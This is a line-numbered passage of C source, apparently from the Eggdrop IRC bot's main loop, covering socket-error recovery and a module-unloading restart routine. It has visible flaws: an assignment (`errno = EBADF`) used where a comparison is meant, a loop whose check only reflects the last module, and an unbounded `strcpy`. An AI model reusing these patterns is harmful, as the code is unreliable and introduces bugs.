  1631. putlog(LOG_MISC, "*", "* Socket error #%d; recovering.", errno);
  1632. for (i = 0; i < dcc_total; i++) {
  1633. if ((fcntl(dcc[i].sock, F_GETFD, 0) == -1) && (errno = EBADF)) {
  1634. putlog(LOG_MISC, "*",
  1635. "DCC socket %d (type %d, name '%s') expired -- pfft",
  1636. dcc[i].sock, dcc[i].type, dcc[i].nick);
  1637. killsock(dcc[i].sock);
  1638. lostdcc(i);
  1639. i--;
  1640. }
  1641. }
  1642. } else if (xx == -3) {
  1643. call_hook(HOOK_IDLE);
  1644. socket_cleanup = 0; /* If we've been idle, cleanup & flush */
  1645. }
  1646. /* FIXME: do_restart */
  1647. if (do_restart) {
  1648. if (do_restart == -2)
  1649. rehash();
  1650. else {
  1651. /* Unload as many modules as possible */
  1652. int f = 1;
  1653. module_entry *p;
  1654. Function x;
  1655. char xx[256];
  1656. /* oops, I guess we should call this event before tcl is restarted */
  1657. check_tcl_event("prerestart");
  1658. while (f) {
  1659. f = 0;
  1660. for (p = module_list; p != NULL; p = p->next) {
  1661. dependancy *d = dependancy_list;
  1662. int ok = 1;
  1663. while (ok && d) {
  1664. if (d->needed == p)
  1665. ok = 0;
  1666. d = d->next;
  1667. }
  1668. if (ok) {
  1669. strcpy(xx, p->name);
  1670. if (module_unload(xx, botnetnick) == NULL) {
  1671. f = 1;
  1672. break;
  1673. }
  1674. }
  1675. }
  1676. }
  1677. for (f = 0, p = module_list; p; p = p->next) {
  1678. if (!strcmp(p->name, "eggdrop") || !strcmp(p->name, "encryption") ||
  1679. !strcmp(p->name, "uptime"))
  1680. f = 0;
  1681. else
  1682. f = 1;
  1683. }
  1684. if (f)
  1685. /* Should be only 3 modules now - eggdrop, encryption, and uptime */
  1686. putlog(LOG_MISC, "*", MOD_STAGNANT);
  1687. /* flushlogs(); */
  1688. kill_tcl();
  1689. init_tcl(argc, argv);
  1690. /* this resets our modules which we didn't unload (encryption and uptime) */
  1691. for (p = module_list; p; p = p->next) {
  1692. if (p->funcs) {
  1693. x = p->funcs[MODCALL_START];
  1694. x(NULL);
  1695. }
  1696. }
  1697. rehash();
  1698. restart_chons();
  1699. call_hook(HOOK_LOADED);
  1700. }
  1701. do_restart = 0;
  1702. }
  1703. }
  1704. }